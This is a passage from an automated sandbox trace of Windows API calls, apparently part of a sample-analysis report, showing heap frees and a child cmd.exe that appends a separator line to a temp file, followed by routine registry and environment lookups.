0x3c0000 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db630) returned 1 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db630) returned 0x18 [0151.336] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db630 | out: hHeap=0x3c0000) returned 1 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5bd0) returned 1 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5bd0) returned 0x20 [0151.336] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5bd0 | out: hHeap=0x3c0000) returned 1 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db790) returned 1 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db790) returned 0x90 [0151.336] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db790 | out: hHeap=0x3c0000) returned 1 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db610) returned 1 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db610) returned 0x18 [0151.336] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db610 | out: hHeap=0x3c0000) returned 1 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5b10) returned 1 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5b10) returned 0x20 [0151.336] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5b10 | out: hHeap=0x3c0000) returned 1 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5ba0) returned 1 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5ba0) returned 0x1e [0151.336] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5ba0 | out: hHeap=0x3c0000) returned 1 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db5f0) returned 1 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db5f0) returned 0x18 [0151.336] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db5f0 | out: hHeap=0x3c0000) returned 1 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.336] GetProcessHeap () returned 0x3c0000 [0151.337] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5ae0) returned 1 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5ae0) returned 0x20 [0151.337] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5ae0 | out: hHeap=0x3c0000) returned 1 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db570) returned 1 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db570) returned 0x2 [0151.337] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db570 | out: hHeap=0x3c0000) returned 1 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5930) returned 1 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5930) returned 0x20 [0151.337] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5930 | out: hHeap=0x3c0000) returned 1 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df2d0) returned 1 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df2d0) returned 0x14 [0151.337] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df2d0 | out: hHeap=0x3c0000) returned 1 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5960) returned 1 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5960) returned 0x20 [0151.337] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5960 | out: hHeap=0x3c0000) returned 1 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5990) returned 1 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5990) returned 0x20 [0151.337] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5990 | out: hHeap=0x3c0000) returned 1 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d59c0) returned 1 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d59c0) returned 0x20 [0151.337] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d59c0 | out: hHeap=0x3c0000) returned 1 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.337] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db590) returned 1 [0151.337] GetProcessHeap () returned 0x3c0000 [0151.338] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db590) returned 0x18 [0151.338] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db590 | out: hHeap=0x3c0000) returned 1 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d59f0) returned 1 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d59f0) returned 0x20 [0151.338] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d59f0 | out: hHeap=0x3c0000) returned 1 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5a20) returned 1 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5a20) returned 0x20 [0151.338] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5a20 | out: hHeap=0x3c0000) returned 1 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5a50) returned 1 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5a50) returned 0x20 [0151.338] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5a50 | out: hHeap=0x3c0000) returned 1 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5a80) returned 1 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5a80) returned 0x20 [0151.338] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5a80 | out: hHeap=0x3c0000) returned 1 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db5b0) returned 1 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db5b0) returned 0x18 [0151.338] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db5b0 | out: hHeap=0x3c0000) returned 1 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5ab0) returned 1 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5ab0) returned 0x20 [0151.338] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5ab0 | out: hHeap=0x3c0000) returned 1 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5b40) returned 1 [0151.338] GetProcessHeap () returned 0x3c0000 [0151.338] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5b40) returned 0x20 [0151.339] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5b40 | out: hHeap=0x3c0000) returned 1 [0151.339] GetProcessHeap () returned 0x3c0000 [0151.339] GetProcessHeap () returned 0x3c0000 [0151.339] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db5d0) returned 1 [0151.339] GetProcessHeap () returned 0x3c0000 [0151.339] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db5d0) returned 0x18 [0151.339] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db5d0 | out: hHeap=0x3c0000) returned 1 [0151.339] GetProcessHeap () returned 0x3c0000 [0151.339] GetProcessHeap () returned 0x3c0000 [0151.339] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5b70) returned 1 [0151.339] GetProcessHeap () returned 0x3c0000 [0151.339] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5b70) returned 0x20 [0151.339] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5b70 | out: hHeap=0x3c0000) returned 1 [0151.339] GetProcessHeap () returned 0x3c0000 [0151.339] GetProcessHeap () returned 0x3c0000 [0151.339] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db550) returned 1 [0151.339] GetProcessHeap () returned 0x3c0000 [0151.339] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db550) returned 0x18 [0151.339] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db550 | out: hHeap=0x3c0000) returned 1 [0151.339] exit (_Code=0) Process: id = "44" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x56377000" os_pid = "0x904" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 351 os_tid = 0x43c [0151.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x29fb00 | out: lpSystemTimeAsFileTime=0x29fb00*(dwLowDateTime=0x1568b70, dwHighDateTime=0x1d51ed5)) [0151.406] GetCurrentProcessId () returned 0x904 [0151.407] GetCurrentThreadId () returned 0x43c [0151.407] GetTickCount () returned 0x31baa [0151.407] QueryPerformanceCounter (in: lpPerformanceCount=0x29fb08 | out: lpPerformanceCount=0x29fb08*=27593142315) returned 1 [0151.408] GetModuleHandleW (lpModuleName=0x0) returned 0x4a7c0000 [0151.408] __set_app_type (_Type=0x1) [0151.408] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a7e7810) returned 0x0 [0151.408] __getmainargs (in: _Argc=0x4a80a608, _Argv=0x4a80a618, _Env=0x4a80a610, _DoWildCard=0, _StartInfo=0x4a7ee0f4 | out: _Argc=0x4a80a608, _Argv=0x4a80a618, _Env=0x4a80a610) returned 0 [0151.409] GetCurrentThreadId () returned 0x43c [0151.409] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x43c) returned 0x3c [0151.409] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0151.409] GetProcAddress (hModule=0x77040000, lpProcName="SetThreadUILanguage") returned 0x77056d40 [0151.409] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0151.409] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0151.409] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x29fa98 | out: phkResult=0x29fa98*=0x0) returned 0x2 [0151.409] VirtualQuery (in: lpAddress=0x29fa80, lpBuffer=0x29fa00, dwLength=0x30 | out: lpBuffer=0x29fa00*(BaseAddress=0x29f000, AllocationBase=0x1a0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0151.409] VirtualQuery (in: lpAddress=0x1a0000, lpBuffer=0x29fa00, dwLength=0x30 | out: lpBuffer=0x29fa00*(BaseAddress=0x1a0000, AllocationBase=0x1a0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0151.409] VirtualQuery (in: lpAddress=0x1a1000, lpBuffer=0x29fa00, dwLength=0x30 | out: lpBuffer=0x29fa00*(BaseAddress=0x1a1000, AllocationBase=0x1a0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0151.409] VirtualQuery (in: lpAddress=0x1a4000, lpBuffer=0x29fa00, dwLength=0x30 | out: lpBuffer=0x29fa00*(BaseAddress=0x1a4000, AllocationBase=0x1a0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0151.409] VirtualQuery (in: lpAddress=0x2a0000, lpBuffer=0x29fa00, dwLength=0x30 | out: lpBuffer=0x29fa00*(BaseAddress=0x2a0000, AllocationBase=0x2a0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0151.409] GetConsoleOutputCP () returned 0x1b5 [0151.410] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a7fbfe0 | out: lpCPInfo=0x4a7fbfe0) returned 1 [0151.410] SetConsoleCtrlHandler (HandlerRoutine=0x4a7e3184, Add=1) returned 1 [0151.410] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.410] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0151.410] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.410] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a7ee194 | out: lpMode=0x4a7ee194) returned 1 [0151.410] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.410] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0151.411] _get_osfhandle (_FileHandle=0) returned 0x3 [0151.411] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a7ee198 | out: lpMode=0x4a7ee198) returned 1 [0151.411] _get_osfhandle (_FileHandle=0) returned 0x3 [0151.411] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0151.411] GetEnvironmentStringsW () returned 0xb9ab0* [0151.411] GetProcessHeap () returned 0xa0000 [0151.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa78) returned 0xba530 [0151.411] FreeEnvironmentStringsW (penv=0xb9ab0) returned 1 [0151.411] GetProcessHeap () returned 0xa0000 [0151.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0xbafb0 [0151.411] GetEnvironmentStringsW () returned 0xb9ab0* [0151.411] GetProcessHeap () returned 0xa0000 [0151.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa78) returned 0xbafd0 [0151.411] FreeEnvironmentStringsW (penv=0xb9ab0) returned 1 [0151.411] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x29e958 | out: phkResult=0x29e958*=0x44) returned 0x0 [0151.411] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x29e950, lpData=0x29e970, lpcbData=0x29e954*=0x1000 | out: lpType=0x29e950*=0x0, lpData=0x29e970*=0x18, lpcbData=0x29e954*=0x1000) returned 0x2 [0151.412] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x29e950, lpData=0x29e970, lpcbData=0x29e954*=0x1000 | out: lpType=0x29e950*=0x4, lpData=0x29e970*=0x1, lpcbData=0x29e954*=0x4) returned 0x0 [0151.412] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x29e950, lpData=0x29e970, lpcbData=0x29e954*=0x1000 | out: lpType=0x29e950*=0x0, lpData=0x29e970*=0x1, lpcbData=0x29e954*=0x1000) returned 0x2 [0151.412] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x29e950, lpData=0x29e970, lpcbData=0x29e954*=0x1000 | out: lpType=0x29e950*=0x4, lpData=0x29e970*=0x0, lpcbData=0x29e954*=0x4) returned 0x0 [0151.412] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x29e950, lpData=0x29e970, lpcbData=0x29e954*=0x1000 | out: lpType=0x29e950*=0x4, lpData=0x29e970*=0x40, lpcbData=0x29e954*=0x4) returned 0x0 [0151.412] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x29e950, lpData=0x29e970, lpcbData=0x29e954*=0x1000 | out: lpType=0x29e950*=0x4, lpData=0x29e970*=0x40, lpcbData=0x29e954*=0x4) returned 0x0 [0151.412] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x29e950, lpData=0x29e970, lpcbData=0x29e954*=0x1000 | out: lpType=0x29e950*=0x0, lpData=0x29e970*=0x40, lpcbData=0x29e954*=0x1000) returned 0x2 [0151.412] RegCloseKey (hKey=0x44) returned 0x0 [0151.412] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x29e958 | out: phkResult=0x29e958*=0x44) returned 0x0 [0151.412] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x29e950, lpData=0x29e970, lpcbData=0x29e954*=0x1000 | out: lpType=0x29e950*=0x0, lpData=0x29e970*=0x40, lpcbData=0x29e954*=0x1000) returned 0x2 [0151.412] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x29e950, lpData=0x29e970, lpcbData=0x29e954*=0x1000 | out: lpType=0x29e950*=0x4, lpData=0x29e970*=0x1, lpcbData=0x29e954*=0x4) returned 0x0 [0151.412] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x29e950, lpData=0x29e970, lpcbData=0x29e954*=0x1000 | out: lpType=0x29e950*=0x0, lpData=0x29e970*=0x1, lpcbData=0x29e954*=0x1000) returned 0x2 [0151.412] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x29e950, lpData=0x29e970, lpcbData=0x29e954*=0x1000 | out: lpType=0x29e950*=0x4, lpData=0x29e970*=0x0, lpcbData=0x29e954*=0x4) returned 0x0 [0151.412] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x29e950, lpData=0x29e970, lpcbData=0x29e954*=0x1000 | out: lpType=0x29e950*=0x4, lpData=0x29e970*=0x9, lpcbData=0x29e954*=0x4) returned 0x0 [0151.412] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x29e950, lpData=0x29e970, lpcbData=0x29e954*=0x1000 | out: lpType=0x29e950*=0x4, lpData=0x29e970*=0x9, lpcbData=0x29e954*=0x4) returned 0x0 [0151.412] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x29e950, lpData=0x29e970, lpcbData=0x29e954*=0x1000 | out: lpType=0x29e950*=0x0, lpData=0x29e970*=0x9, lpcbData=0x29e954*=0x1000) returned 0x2 [0151.412] RegCloseKey (hKey=0x44) returned 0x0 [0151.412] time (in: timer=0x0 | out: timer=0x0) returned 0x5cfd209b [0151.412] srand (_Seed=0x5cfd209b) [0151.412] GetCommandLineW () returned="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0151.412] GetCommandLineW () returned="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0151.412] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a7fc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0151.413] GetProcessHeap () returned 0xa0000 [0151.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x218) returned 0xbba50 [0151.413] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xbba60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0151.413] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a7ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0151.413] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a7ef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0151.413] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a7ef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0151.413] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0151.413] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0151.413] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0151.413] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0151.413] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0151.413] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0151.413] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0151.413] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0151.413] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0151.413] GetProcessHeap () returned 0xa0000 [0151.413] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xba530 | out: hHeap=0xa0000) returned 1 [0151.413] GetEnvironmentStringsW () returned 0xb9ab0* [0151.413] GetProcessHeap () returned 0xa0000 [0151.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa90) returned 0xbc710 [0151.413] FreeEnvironmentStringsW (penv=0xb9ab0) returned 1 [0151.413] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a7ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0151.414] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a7ef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0151.414] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0151.414] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0151.414] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0151.414] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0151.414] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0151.414] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0151.414] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0151.414] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0151.414] GetProcessHeap () returned 0xa0000 [0151.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0xb64f0 [0151.414] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x29f760 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0151.414] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x29f760, lpFilePart=0x29f740 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x29f740*="system32") returned 0x13 [0151.414] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0151.414] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x29f470 | out: lpFindFileData=0x29f470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="Windows", cAlternateFileName="")) returned 0xb8340 [0151.414] FindClose (in: hFindFile=0xb8340 | out: hFindFile=0xb8340) returned 1 [0151.414] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x29f470 | out: lpFindFileData=0x29f470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd859920, ftLastAccessTime.dwHighDateTime=0x1d4d5f8, ftLastWriteTime.dwLowDateTime=0xd859920, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="System32", cAlternateFileName="")) returned 0xb8340 [0151.414] FindClose (in: hFindFile=0xb8340 | out: hFindFile=0xb8340) returned 1 [0151.414] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0151.414] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: 